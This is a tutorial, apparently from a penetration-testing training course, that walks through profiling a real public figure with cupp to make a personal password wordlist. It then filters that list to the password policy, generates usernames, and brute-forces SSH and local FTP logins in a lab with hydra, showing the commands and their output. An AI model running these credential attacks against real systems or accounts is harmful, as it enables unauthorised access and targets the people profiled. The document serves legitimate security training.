Service Authentication Attack

Personalized Wordlists

To create a personalized wordlist for the user, we will need to collect some information about them. As our example here is a known public figure, we can check out their Wikipedia page or do a basic Google search to gather the necessary information. Even if this was not a known figure, we can still carry out the same attack and create a personalized wordlist for them. All we need to do is gather some information about them, which is discussed in detail in the Hashcat module, so feel free to check it out.

CUPP

Many tools can create a custom password wordlist based on certain information. The tool we will be using is `cupp`, which is pre-installed in your PwnBox. If we are doing the exercise from our own VM, we can install it with `sudo apt install cupp` or clone it from the Github repository. `Cupp` is very easy to use. We run it in interactive mode by specifying the `-i` argument, and answer the questions, as follows:

```
mayala@htb[/htb] $ cupp -i ___________ cupp.py! # Common \ # User \ ,__, # Passwords \ (oo)____ # Profiler (__) )\ ||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ] [ Mebus | https://github.com/Mebus/] [+] Insert the information about the victim to make a dictionary [+] If you don't know all the info, just hit enter when asked! ;) > First Name: William > Surname: Gates > Nickname: Bill > Birthdate (DDMMYYYY): 28101955 > Partners) name: Melinda > Partners) nickname: Ann > Partners) birthdate (DDMMYYYY): 15081964 > Child's name: Jennifer > Child's nickname: Jenn > Child's birthdate (DDMMYYYY): 26041996 > Pet's name: Nila > Company name: Microsoft > Do you want to add some key words about the victim? Y/[N]: Phoebe,Rory > Do you want to add special chars at the end of words? Y/[N]: y > Do you want to add some random numbers at the end of words? Y/[N]:y > Leet mode? (i.e. leet = 1337) Y/[N]: y [+] Now making a dictionary... [+] Sorting list and removing duplicates... [+] Saving dictionary to william.txt, counting 43368 words. [+] Now load your pistolero with william.txt and shoot! Good luck!
```

And as a result, we get our personalized password wordlist saved as `william.txt`.

Password Policy

The personalized password wordlist we generated is about 43,000 lines long. Since we saw the password policy when we logged in, we know that the password must meet the following conditions:

1. 8 characters or longer
2. contains special characters
3. contains numbers

So, we can remove any passwords that do not meet these conditions from our wordlist. Some tools would convert password policies to `Hashcat` or `John` rules, but `hydra` does not support rules for filtering passwords. So, we will simply use the following commands to do that for us:

Code: bash

```
sed -ri '/^.{,7}$/d' william.txt            # remove shorter than 8
sed -ri '/[!-/:-@\[-`\{-~]+/!d' william.txt # remove no special chars
sed -ri '/[0-9]+/!d' william.txt            # remove no numbers
```

We see that these commands shortened the wordlist from 43k passwords to around 13k passwords, around 70% shorter.

Mangling

It is still possible to create many permutations of each word in that list. We never know how our target thinks when creating their password, and so our safest option is to add as many alterations and permutations as possible, noting that this will, of course, take much more time to brute force.

Many great tools do word mangling and case permutation quickly and easily, like rsmangler or The Mentalist. These tools have many other options, which can make any small wordlist reach millions of lines long. We should keep these tools in mind because we might need them in other modules and situations.

As a starting point, we will stick to the wordlist we have generated so far and not perform any mangling on it. In case our wordlist does not hit a successful login, we will go back to these tools and perform some mangling to increase our chances of guessing the password.

Tip: The more mangled a wordlist is, the more chances you have to hit a correct password, but it will take longer to brute force. So, always try to be efficient, and properly customize your wordlist using the intelligence you gathered.

Custom Username Wordlist

We should also consider creating a personalized username wordlist based on the person's available details. For example, the person's username could be `b.gates` or `gates` or `bill`, and many other potential variations. There are several methods to create the list of potential usernames, the most basic of which is simply writing it manually.

One such tool we can use is Username Anarchy, which we can clone from GitHub, as follows:

mayala@htb[/htb] `$ git clone https://github.com/urbanadventurer/username-anarchy.git Cloning into 'username-anarchy'... remote: Enumerating objects: 386, done. remote: Total 386 (delta 0), reused 0 (delta 0), pack-reused 386 Receiving objects: 100% (386/386), 16.76 MiB | 5.38 MiB/s, done. Resolving deltas: 100% (127/127), done.`

This tool has many use cases that we can take advantage of to create advanced lists of potential usernames. However, for our simple use case, we can simply run it and provide the first/last names as arguments, and forward the output into a file, as follows:

Code: bash

```
./username-anarchy Bill Gates > bill.txt
```

We should finally have our username and passwords wordlists ready and we could attack the SSH server.

Service Authentication Brute Forcing

SSH Attack

The command used to attack a login service is fairly straightforward. We simply have to provide the username/password wordlists, and add `service://SERVER_IP:PORT` at the end. As usual, we will add the `-u -f` flags. Finally, when we run the command for the first time, `hydra` will suggest that we add the `-t 4` flag for a max number of parallel attempts, as many `SSH` limit the number of parallel connections and drop other connections, resulting in many of our attempts being dropped. Our final command should be as follows:

mayala@htb[/htb] `$ hydra -L bill.txt -P william.txt -u -f ssh://178.35.49.134:22 -t 4 Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra`

`(https://github.com/vanhauser-thc/thc-hydra) [DATA] max 4 tasks per 1 server, overall 4 tasks, 157116 login tries (l:12/p:13093), ~39279 tries per task [DATA] attacking ssh://178.35.49.134:22/ [STATUS] 77.00 tries/min, 77 tries in 00:01h, 157039 to do in 33:60h, 4 active [PORT][ssh] host: 178.35.49.134 login: b.gates password: ...SNIP... [STATUS] attack finished for 178.35.49.134 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra)`

We see that it takes some time to finish, but eventually, we get a working pair, and we identify the user `b.gates`. Now, we can attempt ssh-ing in using the credentials we got:

mayala@htb[/htb] `$ ssh b.gates@178.35.49.134 -p 22 b.gates@SERVER_IP's password: ******** b.gates@bruteforcing:~$ whoami b.gates`

As we can see, we can `SSH` in, and get a shell on the server.

FTP Brute Forcing

Once we are in, we can check out what other users are on the system:

```
b.gates@bruteforcing:~$ ls /home

b.gates  m.gates
```

We notice another user, `m.gates`. We also notice in our local `recon` that port `21` is open locally, indicating that an `FTP` must be available:

```
b.gates@bruteforcing:~$ netstat -antp | grep -i list

(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp        0      0 127.0.0.1:21            0.0.0.0:*               LISTEN
-
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
-
tcp6       0      0 :::80                   :::*                    LISTEN
-
```

Next, we can try brute forcing the `FTP` login for the `m.gates` user now.

Note 1: Sometimes administrators test their security measures and policies with different tools. In this case, the administrator of this web server kept "hydra" installed. We can benefit from it and use it against the local system by attacking the FTP service locally or remotely.

Note 2: "rockyou-10.txt" can be found in "/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou-10.txt", which contains 92 passwords in total. This is a shorter version of "rockyou.txt" which includes 14,344,391 passwords.

So, similarly to how we attacked the `SSH` service, we can perform a similar attack on `FTP`:

```
b.gates@bruteforcing:~$ hydra -l m.gates -P rockyou-10.txt ftp://127.0.0.1

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or
secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 92 login tries
(l:1/p:92), ~6 tries per task
[DATA] attacking ftp://127.0.0.1:21/

[21][ftp] host: 127.0.0.1   login: m.gates   password: <...SNIP...>
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
```

We can now attempt to `FTP` as that user, or even switch to that user. Let us try both:

```
b.gates@bruteforcing:~$ ftp 127.0.0.1

Connected to 127.0.0.1.
220 (vsFTPd 3.0.3)
Name (127.0.0.1:b.gates): m.gates

331 Please specify the password.
Password:

230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir

200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-------    1 1001     1001           33 Sep 11 00:06 flag.txt
226 Directory send OK.
```

And to switch to that user:

```
b.gates@bruteforcing:~$ su - m.gates

Password: *********
m.gates@bruteforcing:~$
```

```
m.gates@bruteforcing:~$ whoami

m.gates
```